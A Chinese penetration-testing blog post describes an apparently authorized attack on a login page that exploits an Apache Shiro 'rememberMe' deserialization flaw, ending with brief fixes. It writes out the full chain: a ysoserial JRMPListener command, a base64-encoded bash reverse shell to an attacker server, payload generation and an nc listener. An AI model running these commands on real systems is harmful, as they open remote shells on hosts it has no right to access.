Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

实战渗透-Shiro反序列化漏洞实例

渗透测试 Adminxe 5939℃ 0评论

0x01.前言

首先我解释下封面哈,我是一个安全研究者(菜菜,很菜的菜),另外呢,我喜欢这个封面,略微有点颜色,但是你如果说她低俗,那么请您离开,咱们不适合做朋友,我喜欢有灵魂的思想,安全研究者-我更喜欢有脑洞的人。

    这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点。对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远是无法比拟的。这次实战,最多的还是收获,拿下此战,进而渗透更多的站来获取不同的细节,不懂的话你就品一下。

0x02.渗透过程

这篇文章没有前期的信息收集,省略过了一切,直接开始我们渗透。

1)网站环境

域名:http://manage.xxxxxx.org.cn/xxx /login.jsp

程序语言:jsp

这仅仅是一个登录框的测试。

2)探测登录框架

开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)

3)步入洞点

    当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。

首先burp做监听器:

然后使用脚本进行测试:

经过测试,是存在Shiro反序列化漏洞的。

4)深入探测Shiro反序列化漏洞

    这边的目的,就是危害最大程度,那么我就继续进行测试,最严重的模式,也就是直接拿到主机shell,这边也提供最详细的操作,以及遇到的一些坑点作为分享。

思路:一台公网的vps做监听,配合burp发送payload,然后获取shell。

1.在公网 vps 执行下列命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “反弹shell的命令”

这里的命令,需要使用 Java Runtime 配合 bash 编码。

bash -i > /dev/tcp/ip/port 0>& 1

最终执行命令为:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”

这里的CommonsCollections,分为1-10模块进行测试,这边使用模块5进行渗透。

2.使用 exp 生成 payload

    Python exp.py 公网ip:port(这边有一点要避雷)

3.公网 vps 开启 nc 监听

Nc -lvp 1234    (监听1234端口)

4.抓任意 http 数据包,在 cookie 中追加 payload。GoGoGo

5.成功拿到shell

0x03.修复方案

    升级 Shiro 版本至 1.2.5 以上; 更改默认密钥。

0x04.总结

  1. 了解基本的网站架构
  2. 抓包探测确定中间件
  3. 了解各类中间件和框架的漏洞
  4. 熟悉并熟练掌握Shiro漏洞的利用方式
  5. 熟悉nc的使用方法
  6. 多积累,多学习,多练习

转载请注明:Adminxe's Blog » 实战渗透-Shiro反序列化漏洞实例

喜欢 (24)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(3)个小伙伴在吐槽
  1. 来看看!
    卢松松博客2020-05-19 16:52 回复
  2. 图不错
    asda2020-07-24 00:48 回复
  3. 能恰个原图不,是挺美的。
    admin@1232020-10-27 21:01 回复